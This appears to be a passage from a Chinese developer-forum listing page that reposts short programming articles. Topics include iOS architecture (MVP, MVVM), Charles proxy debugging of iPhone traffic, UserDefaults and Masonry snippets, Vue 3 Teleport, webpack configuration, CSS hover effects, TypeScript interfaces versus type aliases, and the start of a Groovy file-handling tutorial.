    我最喜欢MVP的面向协议编程的思想!

    根据产品相应的需求,写出其次需求的接口,然后根据接口去找我们响应的发起者,和接受者!面向协议编程---面向接口编程---面向需求编程---需求驱动代码!

    MVP能够解决:

    代码思路清晰

    耦合度降低显著

    通讯还算比较简单

    缺点:

    我们需要写很多关于代理相关的代码

    视图和Presenter的交互会过于频繁

    如果Presenter过多地渲染了视图,往往会使得它与特定的视图的联系过于紧密。一旦视图需要变更,那么Presenter也需要变更了

    MVVM架构思想

    MVVM是Model-View-ViewModel的简写。它本质上就是MVC 的改进版。MVVM 就是将其中的View 的状态和行为抽象化,让我们将视图 UI 和业务逻辑分开。当然这些事 ViewModel 已经帮我们做了,它可以取出 Model 的数据同时帮忙处理 View 中由于需要展示内容而涉及的业务逻辑

    如果要说MVVM的特色,我觉得最大莫过于:双向绑定


    经常我们在设计我们的架构的时候,ViewModel层会设计响应的反向Block回调,方便我们的数据更新,只需要我们回调Block,那么在相应代码块绑定的视图中就能获取到最新的数据!

    这个时候我们要向完美实现正向传递,经常借助另一个非常牛逼的思想:响应式

    如果要想完美实现双向绑定,那么KVO我不太建议,推荐玩玩ReactiveCocoa这个框架---编程思想之集大成者!如果你们在MVVM架构设计中嵌入响应式,那就是双剑合璧.

    组件路由设计

    在众多架构中,在解耦性方面我觉得组件化开发无意做的真心不错,大家经常在各个控制器跳转,就会像蜘蛛网一样错综复杂。


    站在架构的层面就是把项目规矩化!条理化


    根据合适的边界把这个项目进行组件模块化出来,利用cocoaPods来管理!在整体组件分层下面的模型给大家进行参考学习!


    架构之路,无论在知识的深度还有广度方面都有较高的要求!尤其重要的对问题的的解决思维,不止在普通的应用层的ipa调用;需要大家对思维更加宽广,从代码上升到项目,到产品,甚至到公司!有时候你会很感觉很累很难,但是不将就注定不一样的你!

    摘自作者:Cooci_和谐学习_不急不躁
    原贴链接:https://www.jianshu.com/p/de6ebffdef86
    收起阅读 »

    Charles抓取iPhone接口数据

    抓取HTTP请求安装Charles,自行百度安装我安装的版本是4.2.6的设置代理:Proxy->ProxySetting手机设置,手机跟电脑接同一个局域网,配置HTTP代理抓取HTTPS请求抓取请求需要安装SSL证书,Help->SSL Prox...
    继续阅读 »

    抓取HTTP请求

    安装Charles,自行百度安装
    我安装的版本是4.2.6的

    设置代理:Proxy->ProxySetting


    手机设置,手机跟电脑接同一个局域网,配置HTTP代理


    抓取HTTPS请求

    抓取请求需要安装SSL证书,Help->SSL Proxying,安装证书,根据提示在手机上输入指定url安装CA证书。



    手机安装完后,默认是不信任的,需要手动信任以下该CA证书,打开设置,通用->关于本机->证书信任设置,打开开关信任即可


    证书配置完毕后,charles默认是没有抓取Https请求的,在需要抓取的Https url右击,选中Enable SSL Proxy即可。

    Charles视图简单讲解



    转自:https://www.jianshu.com/p/82096a460e56


    收起阅读 »

    iOS 利用UserDefaults快速实现常用搜索页记录工具

    1、需求分析存储内容为字符串存储内容要去重存储个数会有个上限存储个数达到上限后要先前挤掉旧数据,保留新数据调用动作一般为 存 / 读 / 清空全部2、实现.h文件// RPCustomTool.h// RollingPin//// Created by ...
    继续阅读 »

    1、需求分析

    • 存储内容为字符串
    • 存储内容要去重
    • 存储个数会有个上限
    • 存储个数达到上限后要先前挤掉旧数据,保留新数据
    • 调用动作一般为 存 / 读 / 清空全部

    2、实现

    .h文件

    //  RPCustomTool.h
    // RollingPin
    //
    // Created by RollingPin on 2020/12/31.
    // Copyright © 2020 RollingPin. All rights reserved.
    //
    #import
    #import
    @interface RPCustomTool : NSObject
    ///
    + (void)saveHistoryString:(NSString *)saveStr;
    /// 读
    + (NSArray *)readHistoryList;
    /// 清空
    + (void)deleteHistoryList;
    @end

    .m文件

    //  RPCustomTool.h
    // RollingPin
    //
    // Created by RollingPin on 2020/12/31.
    // Copyright © 2020 RollingPin. All rights reserved.
    //
    #import "RPCustomTool.h"
    @implementation RPCustomTool

    #pragma mark - 存
    + (void)saveHistoryString:(NSString *)saveStr
    {
    NSUserDefaults *userDefaults = [NSUserDefaults standardUserDefaults];
    NSArray *savedArray = [userDefaults arrayForKey:@"RPSearchHistoryMark"];
    NSMutableArray *savedMuArray = [[NSMutableArray alloc]initWithArray:savedArray];
    //去重
    NSString *repetitiveStr = @"";
    for (NSString * oneStr in savedArray) {
    if ([oneStr isEqualToString:saveStr]) {
    repetitiveStr = oneStr;
    break;
    }
    }
    if (repetitiveStr.length >0) {
    [savedMuArray removeObject:repetitiveStr];
    }
    [savedMuArray addObject:saveStr];
    //设置最大保存数
    if(savedMuArray.count > 10)
    {
    [savedMuArray removeObjectAtIndex:0];
    }
    //最后再存储到NSUserDefaults中
    [userDefaults setObject:savedMuArray forKey:@"RPSearchHistoryMark"];
    [userDefaults synchronize];
    }
    #pragma mark - 读
    + (NSArray *)readHistoryList
    {
    NSUserDefaults *userDefaults = [NSUserDefaults standardUserDefaults];
    //读取数组NSArray类型的数据
    NSArray *savedArray = [userDefaults arrayForKey:@"RPSearchHistoryMark"];
    NSLog(@"savedArray======%@",savedArray);
    return [savedArray copy];
    }
    #pragma mark - 清空
    + (void)deleteHistoryList
    {
    NSUserDefaults *userDefaults = [NSUserDefaults standardUserDefaults];
    [userDefaults setObject:[NSArray array] forKey:@"RPSearchHistoryMark"];
    [userDefaults synchronize];
    }
    @end


    转自:https://www.jianshu.com/p/006bd3fbc044

    收起阅读 »

    UITableviewCell 使用Masonry撑开cell高度 遇见[LayoutConstraints] Unable to simultaneously satisfy constraints

    1、问题描述在布局UITableviewCell 内容时, 可用使用Masonry方便的自动计算高度撑开布局,但是当遇到cell高度不同,多个复杂的子view竖向排列时,容易产生高度计算冲突问题导致报如下一坨2、解决办法使用 Masonry 的 priorit...
    继续阅读 »

    1、问题描述

    在布局UITableviewCell 内容时, 可用使用Masonry方便的自动计算高度撑开布局,但是当遇到cell高度不同,多个复杂的子view竖向排列时,容易产生高度计算冲突问题导致报如下一坨


    2、解决办法

    使用 Masonry 的 priorityHigh 属性来确定优先级

    /**
    * Sets the NSLayoutConstraint priority to MASLayoutPriorityHigh
    */
    - (MASConstraint * (^)(void))priorityHigh;

    具体使用要设置 <最后一个子view> 的 bottom 属性 priorityHigh()

    [self.lastView mas_makeConstraints:^(MASConstraintMaker *make) {
    make.top.equalTo(self.topView.mas_bottom).offset(5);
    make.left.equalTo(superView).offset(36);
    make.right.equalTo(superView).offset(-16);
    make.bottom.equalTo(self.contentView).offset(-16).priorityHigh();
    }];

    转自:https://www.jianshu.com/p/b334b69ab82e

    收起阅读 »

    Vue3 Teleport 简介,请过目,这个是真的好用

    vue
    关于 vue3 的一个新特性已经讨论了一段时间了,那就是 Portals(传送门) ,它的功能是将模板HTML移动到DOM不同地方的方法。Portals是React中的一个常见特性,Vue2 中可以使用portal-vue库。Vue3 中,提供了&n...
    继续阅读 »

    关于 vue3 的一个新特性已经讨论了一段时间了,那就是 Portals(传送门) ,它的功能是将模板HTML移动到DOM不同地方的方法。Portals是React中的一个常见特性,Vue2 中可以使用portal-vue库。

    Vue3 中,提供了 Teleport 来支持这一功能。

    Teleport 的目的

    我首先要了解的是何时使用 Teleport 功能。

    在处理较大的Vue项目时,有逻辑处理组织代码库是很重要的。 但是,当处理某些类型的组件(如模式,通知或提示)时,模板HTML的逻辑可能位于与我们希望渲染元素的位置不同的文件中。

    实际上,在很多时候,与我们的Vue应用程序的DOM完全分开处理时,这些元素的管理要容易得多。 所有这些都是因为处理嵌套组件的位置,z-index和样式可能由于处理其所有父对象的范围而变得棘手。

    这种情况就是 Teleport 派上用场的地方。 我们可以在逻辑所在的组件中编写模板代码,这意味着我们可以使用组件的数据或 props。 但是,然后完全将其渲染到我们Vue应用程序的范围之外。

    如果不使用 Teleport,我们将不得不担心从子组件向DOM树传递逻辑的事件传播,但现在要简单得多。

    Vue Teleport 是如何工作的

    假设我们有一些子组件,我们想在其中触发弹出的通知。 正如刚才所讨论的,如果将通知以完全独立的DOM树渲染,而不是Vue的根#app元素,则更为简单。

    我们要做的第一件事是打开我们的index.html,并在</body>之前添加一个<div>

    // index.html
    <body>
    <div id="app"></div>
    <div id='portal-target'></div>
    </body>

    接下来,创建触发要渲染的通知的组件。

    // VuePortals.vue
    <template>
    <div class='portals'>
    <button @click='showNotification'> Trigger Notification! </button>
    <teleport to='#portal-target'>
    <div v-if="isOpen" class='notification'>
    This is rendering outside of this child component!
    </div>
    </teleport>
    </div>
    </template>

    <script>
    import { ref } from 'vue'
    export default {
    setup () {
    const isOpen = ref(false)

    var closePopup

    const showNotification = () => {
    isOpen.value = true

    clearTimeout(closePopup)

    closePopup = setTimeout(() => {
    isOpen.value = false
    }, 2000)
    }

    return {
    isOpen,
    showNotification
    }
    }
    }
    </script>

    <style scoped>
    .notification {
    font-family: myriad-pro, sans-serif;
    position: fixed;
    bottom: 20px;
    left: 20px;
    width: 300px;
    padding: 30px;
    background-color: #fff;
    }
    </style>

    在此代码段中,当按下按钮时,将渲染2秒钟的通知。 但是,我们的主要目标是使用Teleport获取通知以在我们的Vue应用程序外部渲染。

    如你所见,Teleport具有一个必填属性- to

    to 需要 prop,必须是有效的查询选择器或 HTMLElement (如果在浏览器环境中使用)。指定将在其中移动 <teleport> 内容的目标元素

    由于我们在#portal-target中传递了代码,因此 Vue会找到包含在index.html中的#portal-target div,它会把 Teleport 内的所有代码渲染到该div中。

    下面是运行的结果:



    总结

    以上就是Vue Teleport的基本介绍。 在不久的将来,后面会介绍一些更高级的用例,今天这篇开始使用此炫酷功能开始!

    有关更深入的教程,查看Vue3文档

    ~完,我是刷碗智,我要去刷晚了,骨得白!


    代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug

    原文:https://segmentfault.com/a/1190000039745751

    收起阅读 »

    webpack踩坑记录

    最近在学习webpack的一些配置,学习的期望就是通过可以通过webpack给html文件中引用的资源例如css、js、img文件加上版本号,避免由于浏览器的缓存造成线上请求的资源依旧是旧版本的东西。首先新建一个webpack的项目(默认大家已经安装node的...
    继续阅读 »

    最近在学习webpack的一些配置,学习的期望就是通过可以通过webpack给html文件中引用的资源例如css、js、img文件加上版本号,避免由于浏览器的缓存造成线上请求的资源依旧是旧版本的东西。

    首先新建一个webpack的项目(默认大家已经安装node的了)

    npm init

    项目中安装webpack

    npm webpack --save-dev
    npm webpack-cli --save-dev

    然后就可以开心的写代码了

    首先讲解单个文件的打包配置

    在项目的根目录下,新建一个webpack.config.js文件,

    npm install --save-dev html-webpack-plugin mini-css-extract-plugin 
    clean-webpack-plugin

    现在逐一讲解各个plugin的作用:

    • html-webpack-plugin

    当使用 webpack打包时,创建一个 html 文件,并把 webpack 打包后的静态文件自动插入到这个 html 文件当中,并且可以使用自定义的模版,例如html、pug、ejs,还可配置hash值等一些配置。
    具体可配置的参数还是很多的,像title、meta等等,可参考webpack官网

    • mini-css-extract-plugin

    webpack 4.0以后,把css样式从js文件中提取到单独的css文件中;
    这在项目中的使用场景是把css文件在js文件中import进来,打包的时候该插件会识别到这个css文件,通过配置的路径参数生成一个打包后的css文件。

    • clean-webpack-plugin

    是用于在下一次打包时清除之前打包的文件,可参考webpack官网

    项目中用到的loader

    • babel-loader

    Babel把用最新标准编写的 JavaScript代码向下编译成可以在今天随处可用的版本

    • html-loader

    它默认处理html中的<img src="image.png">require("./image.png"),同时需要在你的配置中指定image文件的加载器,比如:url-loader或者file-loader

    • url-loader file-loader

    用于解决项目中的图片打包问题,把图片资源打包进打包文件中,可修改对应的文件名和路径,url-loader比file-loader多一个可配置的limit属性,通过此参数,可配置若图片大小大于此参数,则用文件资源,小于此参数则用base64格式展示图片;

    • style-loader css-loader

    打包css文件并插入到html文件中;

    单页面打包webpack.config.js的配置
    const HtmlWebpackPlugin = require("html-webpack-plugin");
    const MiniCssExtractPlugin = require('mini-css-extract-plugin');
    const {
    CleanWebpackPlugin
    } = require('clean-webpack-plugin');

    const path = require("path");

    module.exports = {
    mode: "development",
    entry: path.resolve(__dirname, './src/index.js'),

    output: {
    filename: "bundle.js",
    path: path.resolve(__dirname, 'build'),
    // libraryTarget: 'umd'
    },
    module: {
    rules: [{
    test: /\.html$/,
    use: [{
    loader: "html-loader",
    options: {
    attrs: ['img:src', 'link:href']
    }
    }]
    },
    {
    test: /\.js$/,
    use: {
    loader: "babel-loader"
    },
    include: path.resolve(__dirname, '/src'),
    exclude: /node_modules/,
    },
    {
    test: /\.(jpg|png|gif|bmp|jpeg)$/,
    use: [{
    // loader: 'file-loader',
    loader: 'url-loader',
    options: {
    limit: 8192,
    // name: '[name].[ext]',
    name: '[name]-[hash:8].[ext]',
    outputPath: 'images/',

    }
    }]
    },
    {
    test: /\.pug$/,
    use: {
    loader: 'pug-loader'
    }
    },
    {
    test: /\.css$/,
    use: ['style-loader', MiniCssExtractPlugin.loader, 'css-loader']
    },

    ],
    },
    plugins: [
    new CleanWebpackPlugin(),


    new HtmlWebpackPlugin({
    hash: true,
    template: "src/index.html",
    // template: "src/index.pug",
    filename: "bundle.html",
    }),

    new MiniCssExtractPlugin({
    filename: "bundle.css",
    chunkFilename: "index.css"
    }),

    ],
    }

    多页面

    在plugin中,有多个html-webpack-plugin插件的使用,可生成对应的打包后多个html文件

    多页面打包webpack.config.js的配置
    const getPath = require('./getPath')

    const HtmlWebpackPlugin = require("html-webpack-plugin");
    const MiniCssExtractPlugin = require('mini-css-extract-plugin');
    const {
    CleanWebpackPlugin
    } = require('clean-webpack-plugin');

    const path = require("path");


    module.exports = {
    mode: "development",
    entry: {
    main: './src/main/main.js',
    side: './src/side/side.js',
    // ...getPath.jsPathList,

    },
    output: {
    path: path.resolve(__dirname, 'build'),
    filename: 'js/[name].js',
    publicPath: '../',
    },
    module: {
    rules: [{
    test: /\.html$/,
    use: [{
    loader: "html-loader",
    options: {
    attrs: ['img:src', 'link:href']
    }
    }, ]
    },
    {
    test: /\.js$/,
    use: [{
    loader: "babel-loader",
    options: {
    presets: ['es2015']
    }
    }],
    include: path.resolve(__dirname, '/src'),
    exclude: /node_modules/,
    },
    {
    test: /\.(jpg|png|gif|bmp|jpeg)$/,
    use: [{
    // loader: 'file-loader',
    loader: 'url-loader',
    options: {
    limit: 8192,
    name: '[name]-[hash:8].[ext]',
    outputPath: './images', //指定放置目标文件的文件系统路径
    publicPath: '../images',//指定目标文件的自定义公共路径
    }
    }]
    },

    {
    test: /\.pug$/,
    use: {
    loader: 'pug-loader'
    }
    },
    {
    test: /\.css$/,
    use: ['style-loader', MiniCssExtractPlugin.loader, 'css-loader']
    },
    ]
    },
    plugins: [
    new CleanWebpackPlugin(),
    //输出html文件1
    new HtmlWebpackPlugin({
    hash: true,
    template: "./src/main/main.html", //本地html文件模板的地址
    filename: "html/main.html",
    chunks: ['main'],
    }),

    new HtmlWebpackPlugin({
    hash: true,
    template: "./src/side/side.html",
    filename: "html/side.html",
    chunks: ['side'],
    }),
    // ...getPath.htmlPathList,

    new MiniCssExtractPlugin({
    filename: "css/[name].css",
    chunkFilename: "./src/[name]/[name].css"
    }),

    ]
    }

    当然也可以通过函数获取所有需要打包的文件的路径,动态在webpack的配置文件中插入

    const glob = require("glob");
    const path = require("path");
    const HtmlWebpackPlugin = require("html-webpack-plugin");
    /**
    *
    * @param {string} globPath 文件的路径
    * @returns entries
    */


    function getPath(globPath) {
    let files = glob.sync(globPath);

    let entries = {},
    entry, dirname, basename, extname;

    files.forEach(item => {
    entry = item;
    dirname = path.dirname(entry); //当前目录
    extname = path.extname(entry); //后缀
    basename = path.basename(entry, extname); //文件名
    //文件路径
    if (extname === '.html') {
    entries[basename] = entry;
    } else if (extname === '.js') {
    entries[basename] = entry;
    }
    });

    return entries;
    }

    const jsPath = getPath('./src/*/*.js');
    const htmlPath = getPath('./src/*/*.html');
    const jsPathList = {};
    const htmlPathList = [];

    console.log("jsPath", jsPath)

    Object.keys(jsPath).forEach((item) => {
    jsPathList[item] = path.resolve(__dirname, jsPath[item])
    })

    Object.keys(htmlPath).forEach((item) => {
    htmlPathList.push(new HtmlWebpackPlugin({
    hash: true,
    template: htmlPath[item],
    filename: `html/${item}.html`,
    chunks: [item],
    // chunks: [item, 'jquery'],
    }))
    })

    // console.log("htmlPathList", htmlPathList)


    module.exports = {
    jsPathList,
    htmlPathList
    }

    经过打包之后,某个文件夹下的html、css、jpg文件,会被分别打包放进build文件夹下的html文件夹、css文件夹和images文件夹,并且在html文件中引用的其他资源文件也加上了hash值作为版本号。

    坑:

    刚开始的时候url-loader和file-loader都是安装最新版本的,导致打包后图片的路径变成了<img src="[object Module]"/>
    所以此项目用的"url-loader": "^2.1.0","file-loader": "^4.2.0"

    点击打开项目github地址

    原文链接:https://segmentfault.com/a/1190000021159257?utm_source=sf-similar-article

    收起阅读 »

    2021 年值得关注的 8 个 Node.js 项目

    1. Cytoscape.js网站 https://js.cytoscape.org/这个用于可视化和图形分析的开源 JavaScript 库实现了丰富的交互功能。选择方形区域、平移、捏拉缩放等功能都是开箱即用。Cytoscape 可以用于 Node...
    继续阅读 »

    1. Cytoscape.js


    网站 https://js.cytoscape.org/

    这个用于可视化和图形分析的开源 JavaScript 库实现了丰富的交互功能。选择方形区域、平移、捏拉缩放等功能都是开箱即用。

    Cytoscape 可以用于 Node.js 服务端环境完成图形分析任务,也可以在命令行下使用。有兴趣转向数据科学的开发者可以选择参与 Cytoscape 的开发,它的贡献指南和文档都很棒。

    2. PDFKit

    网站 https://pdfkit.org/

    很有用的基于 Node 的 PDF 生成库,有助于创建复杂的 PDF 文件供下载,支持嵌入文本和字体、注解、矢量图形等特性。不过,这个项目的文档不算丰富,给它贡献代码有点困难。

    3. Socket.IO


    网站 https://socket.io/

    提供双向、实时的基于事件的通讯机制,支持所有浏览器设备,也同样注重性能。比如,可以基于它开发一个简单的聊天应用。

    服务端收到新消息后会发给客户端,客户端接收事件通知无需再额外发送新请求至服务端。

    支持以下有用特性:

    • 二进制流
    • 实时分析
    • 文档协作

    4. Strapi


    网站 https://strapi.io/

    开源内容管理系统,后端系统通过 REST 风格的 API 提供功能,项目的主要目标是在所有设备上交付结构化的内容。

    这个项目支持许多特性,包括内置的邮件系统、文件上传、JSON Web Token 鉴权。基于 Strapi 构建的内容结构非常灵活,可供创建内容分组、定制 API。

    5. Nest


    网站 https://nestjs.com/

    Nest 是很流行的创建高效、可伸缩的服务端应用的新一代框架。底层基于 Express 框架,使用 TypeScript 组合了函数式和面向对象的编程元素。其模块化的架构让你可以很灵活地使用各种库。

    6. Date-fns

    网站 https://date-fns.org/

    date-fns 仍然是在 Node.js 和浏览器环境下处理 JavaScript 日期最简单一致的工具集,也和 browserify、webpack、rollup 等现代模块打包工具配合良好。社区支持非常好,所以支持的本地化区域非常多,各种功能都有详细描述和示例。

    7. SheetJS

    网站 https://sheetjs.com/

    这个 Node.js 库可以处理 Excel 电子表格,以及其他相关功能。比如,导出表格、转换 HTML 表格和 JSON 数组为 xlsx 文件。社区很大,贡献指南的文档也很棒。

    8. Express.js


    网站 https://expressjs.com/

    这是最流行的 Node.js 开源项目之一,它能够高效处理 HTTP 请求,基于 JavaScript 这一同时适用于服务端和浏览器的语言,因此价值巨大。

    它是开发高速、安全的应用的利器。

    基本特性:

    1. 支持不同的扩展和插件
    2. 基于 HTTP 方法和 URL 的路由机制
    3. 无缝集成数据库

    感谢 Adrian Twarog [@adriantwarog] 的细致讲解

    请看视频 👇

    youtube: 8 Node.js Projects to Keep An Eye On 2021


    本文系转载,阅读原文
    https://nextfe.com/8-node-js-projects-2021/
    收起阅读 »

    两种纯CSS方式实现hover图片pop-out弹出效果

    主要图形的组成元素由背景和前景图两个元素,以下示例代码中,背景元素使用伪元素 figure::before 表示, 前景元素使用 figure img 表示,当鼠标hover悬浮至figure元素时,背景元素产生变大效果...
    继续阅读 »

    主要图形的组成元素由背景和前景图两个元素,以下示例代码中,背景元素使用伪元素 figure::before 表示, 前景元素使用 figure img 表示,当鼠标hover悬浮至figure元素时,背景元素产生变大效果,前景元素产生变大并向上移动效果,从而从视觉上实现弹出效果。

    背景元素 figure::before


    前景元素 figure img

    1. 使用 overflow: hidden 方式

    主体元素的 html 结构由一个 figure 元素包裹的 img 元素构成:

    <figure>
    <img src='./man.png' alt='Irma'>
    </figure>

    在 css 中设置了两个变量 --hov 和 --not-hov 用于控制 hover 元素时的放大以及位移效果。并对 figure 元素添加 overflow: hidden,设置 padding-top: 5% 用于前景元素超出背景元素时不被截断(非必需:并使用了 clamp() 函数用来动态设定 border-radius 以动态响应页面缩放)

    figure {
    --hov: 0;
    --not-hov: calc(1 - var(--hov));
    display: grid;
    place-self: center;
    margin: 0;
    padding-top: 5%;
    transform: scale(calc(1 - .1*var(--not-hov)));
    overflow: hidden;
    border-radius: 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em);
    }
    figure::before, figure img {
    grid-area: 1/1;
    place-self: end center;
    }
    figure::before {
    content: "";
    padding: clamp(4em, 20vw, 15em);
    border-radius: 50%;
    background: url('./bg.png') 50%/cover;
    }
    figure:hover {
    --hov: 1;
    }
    img {
    width: calc(2*clamp(4em, 20vw, 15em));
    border-radius: clamp(4em, 20vw, 15em);
    transform: translateY(calc((1 - var(--hov))*10%)) scale(calc(1.25 + .05*var(--hov)));
    }


    2. 使用 clip-path: inset() 方式

    <figure>
    <img src='./man.png' alt='Irma'>
    </figure>

    样式基本上与第一种相同,使用 clip-path 来截取圆形背景区域。

    figure {
    --hov: 0;
    --not-hov: calc(1 - var(--hov));
    display: grid;
    place-self: center;
    margin: 0;
    padding-top: 5%;
    transform: scale(calc(1 - .1*var(--not-hov)));
    clip-path: inset(0 round 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em));
    }
    figure::before, figure img {
    grid-area: 1/1;
    place-self: end center;
    }
    figure::before {
    content: "";
    padding: clamp(4em, 20vw, 15em);
    border-radius: 50%;
    background: url('./bg.png') 50%/cover;
    }
    figure:hover {
    --hov: 1;
    }
    figure:hover::before {
    box-shadow: 1px 1px 10px rgba(0, 0, 0, .3);
    }
    img {
    width: calc(2*clamp(4em, 20vw, 15em));
    border-radius: clamp(4em, 20vw, 15em);
    transform: translateY(calc((1 - var(--hov))*10%)) scale(calc(1.25 + .05*var(--hov)));
    }

    完整示例

    <h2>使用overflow: hidden方式</h2>
    <figure>
    <img src='./man.png' alt='Irma'>
    </figure>
    <h2>使用clip-path: path()方式</h2>
    <figure>
    <img src='./man.png' alt='Irma'>
    </figure>

    body {
    display: grid;
    background: #FDFC47;
    background: -webkit-linear-gradient(to right, #24FE41, #FDFC47);
    background: linear-gradient(to right, #24FE41, #FDFC47);
    }
    figure {
    --hov: 0;
    --not-hov: calc(1 - var(--hov));
    display: grid;
    place-self: center;
    margin: 0;
    padding-top: 5%;
    transform: scale(calc(1 - .1*var(--not-hov)));
    }
    figure:nth-of-type(1) {
    overflow: hidden;
    border-radius: 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em);
    }
    figure:nth-of-type(2) {
    clip-path: inset(0 round 0 0 clamp(4em, 20vw, 15em) clamp(4em, 20vw, 15em));
    }
    figure, figure img {
    transition: transform 0.2s ease-in-out;
    }
    figure::before, figure img {
    grid-area: 1/1;
    place-self: end center;
    }
    figure::before {
    padding: clamp(4em, 20vw, 15em);
    border-radius: 50%;
    background: url('./bg.png') 50%/cover;
    content: "";
    transition: .25s linear;
    }
    figure:hover {
    --hov: 1;
    }
    figure:hover::before {
    box-shadow: 1px 1px 10px rgba(0, 0, 0, .3);
    }
    img {
    width: calc(2*clamp(4em, 20vw, 15em));
    border-radius: clamp(4em, 20vw, 15em);
    transform: translateY(calc((1 - var(--hov))*10%)) scale(calc(1.25 + .05*var(--hov)));
    }

    原文链接:https://segmentfault.com/a/1190000039830020

    收起阅读 »

    TypeScript Interface vs Type知多少

    接口和类型别名非常相似,在大多情况下二者可以互换。在写TS的时候,想必大家都问过自己这个问题,我到底应该用哪个呢?希望看完本文会给你一个答案。知道什么时候应该用哪个,首先应该了解二者之间的相同点和不同点,再做出选择。接口 vs 类型别名 相同点1. 都可以用来...
    继续阅读 »

    接口和类型别名非常相似,在大多情况下二者可以互换。在写TS的时候,想必大家都问过自己这个问题,我到底应该用哪个呢?希望看完本文会给你一个答案。知道什么时候应该用哪个,首先应该了解二者之间的相同点和不同点,再做出选择。

    接口 vs 类型别名 相同点

    1. 都可以用来描述对象或函数

    interface Point {
    x: number
    y: number
    }

    interface SetPoint {
    (x: number, y: number): void;
    }
    type Point = {
    x: number;
    y: number;
    };

    type SetPoint = (x: number, y: number) => void;

    2. 都可以扩展

    两者的扩展方式不同,但并不互斥。接口可以扩展类型别名,同理,类型别名也可以扩展接口。

    接口的扩展就是继承,通过 extends 来实现。类型别名的扩展就是交叉类型,通过 & 来实现。

    // 接口扩展接口
    interface PointX {
    x: number
    }

    interface Point extends PointX {
    y: number
    }
    // 类型别名扩展类型别名
    type PointX = {
    x: number
    }

    type Point = PointX & {
    y: number
    }
    // 接口扩展类型别名
    type PointX = {
    x: number
    }
    interface Point extends PointX {
    y: number
    }
    // 类型别名扩展接口
    interface PointX {
    x: number
    }
    type Point = PointX & {
    y: number
    }

    接口 vs 类型别名不同点

    1. 类型别名更通用(接口只能声明对象,不能重命名基本类型)

    类型别名的右边可以是任何类型,包括基本类型、元祖、类型表达式(&|等类型运算符);而在接口声明中,右边必须为结构。例如,下面的类型别名就不能转换成接口:

    type A = number
    type B = A | string

    2. 扩展时表现不同

    扩展接口时,TS将检查扩展的接口是否可以赋值给被扩展的接口。举例如下:

    interface A {
    good(x: number): string,
    bad(x: number): string
    }
    interface B extends A {
    good(x: string | number) : string,
    bad(x: number): number // Interface 'B' incorrectly extends interface 'A'.
    // Types of property 'bad' are incompatible.
    // Type '(x: number) => number' is not assignable to type '(x: number) => string'.
    // Type 'number' is not assignable to type 'string'.
    }

    但使用交集类型时则不会出现这种情况。我们将上述代码中的接口改写成类型别名,把 extends 换成交集运算符 &,TS将尽其所能把扩展和被扩展的类型组合在一起,而不会抛出编译时错误。

    type A = {
    good(x: number): string,
    bad(x: number): string
    }
    type B = A & {
    good(x: string | number) : string,
    bad(x: number): number
    }

    3. 多次定义时表现不同

    接口可以定义多次,多次的声明会合并。但是类型别名如果定义多次,会报错。

    interface Point {
    x: number
    }
    interface Point {
    y: number
    }
    const point: Point = {x:1} // Property 'y' is missing in type '{ x: number; }' but required in type 'Point'.

    const point: Point = {x:1, y:1} // 正确
    type Point = {
    x: number // Duplicate identifier 'A'.
    }

    type Point = {
    y: number // Duplicate identifier 'A'.
    }

    到底应该用哪个

    如果接口和类型别名都能满足的情况下,到底应该用哪个是我们关心的问题。感觉哪个都可以,但是强烈建议大家只要能用接口实现的就优先使用接口,接口满足不了的再用类型别名。

    为什么会这么建议呢?其实在TS的wiki中有说明。具体的文章地址在这里

    以下是Preferring Interfaces Over Intersections的译文:



    上述的几个区别从字面上理解还是有些绕,下面通过具体的列子来说明。

    interface Point1 {
    x: number
    }

    interface Point extends Point1 {
    x: string // Interface 'Point' incorrectly extends interface 'Point1'.
    // Types of property 'x' are incompatible.
    // Type 'string' is not assignable to type 'number'.
    }
    type Point1 = {
    x: number
    }

    type Point2 = {
    x: string
    }

    type Point = Point1 & Point2 // 这时的Point是一个'number & string'类型,也就是never

    从上述代码可以看出,接口继承同名属性不满足定义会报错,而相交类型就是简单的合并,最后产生了 number & string 类型,可以解释译文中的第一点不同,其实也就是我们在不同点模块中介绍的扩展时表现不同。

    再来看下面例子:

    interface PointX {
    x: number
    }

    interface PointY {
    y: number
    }

    interface PointZ {
    z: number
    }

    interface PointXY extends PointX, PointY {
    }

    interface Point extends PointXY, PointZ {

    }
    const point: Point = {x: 1, y: 1} // Property 'z' is missing in type '{ x: number; y: number; }' but required in type 'Point'
    type PointX = {
    x: number
    }

    type PointY = {
    y: number
    }

    type PointZ = {
    z: number
    }

    type PointXY = PointX & PointY

    type Point = PointXY & PointZ

    const point: Point = {x: 1, y: 1} // Type '{ x: number; y: number; }' is not assignable to type 'Point'.
    // Property 'z' is missing in type '{ x: number; y: number; }' but required in type 'Point3'.

    从报错中可以看出,当使用接口时,报错会准确定位到Point。
    但是使用交叉类型时,虽然我们的 Point 交叉类型是 PointXY & PointZ, 但是在报错的时候定位并不在 Point 中,而是在 Point3 中,即使我们的 Point 类型并没有直接引用 Point3 类型。

    如果我们把鼠标放在交叉类型 Point 类型上,提示的也是 type Point = PointX & PointY & PointZ,而不是 PointXY & PointZ

    这个例子可以同时解释译文中第二个和最后一个不同点。

    结论

    有的同学可能会问,如果我不需要组合只是单纯的定义类型的时候,是不是就可以随便用了。但是为了代码的可扩展性,建议还是优先使用接口。现在不需要,谁能知道后续需不需要呢?所以,让我们大胆的使用接口吧~

    原文链接:https://segmentfault.com/a/1190000039834284


    收起阅读 »

    深度探索 Gradle 自动化构建技术(二、Groovy 筑基篇)(3)

    四、文件处理 1、常规文件处理 1)、读文件 eachLine 方法 我们可以使用 eachLine 方法读该文件中的每一行,它唯一的参数是一个 Closure,Closure 的参数是文件每一行的内容。示例代码如下所示: def file = new Fil...
    继续阅读 »

    四、文件处理


    1、常规文件处理


    1)、读文件


    eachLine 方法


    我们可以使用 eachLine 方法读该文件中的每一行,它唯一的参数是一个 Closure,Closure 的参数是文件每一行的内容。示例代码如下所示:


    def file = new File(文件名)
    file.eachLine{ String oneLine ->
    println oneLine
    }

    def text = file.getText()
    def text2 = file.readLines()

    file.eachLine { oneLine, lineNo ->
    println "${lineNo} ${oneLine}"
    }
    复制代码

    然后,我们可以使用 'targetFile.bytes' 直接得到文件的内容。


    使用 InputStream


    此外,我们也可以通过流的方式进行文件操作,如下代码所示:


    //操作 ism,最后记得关掉
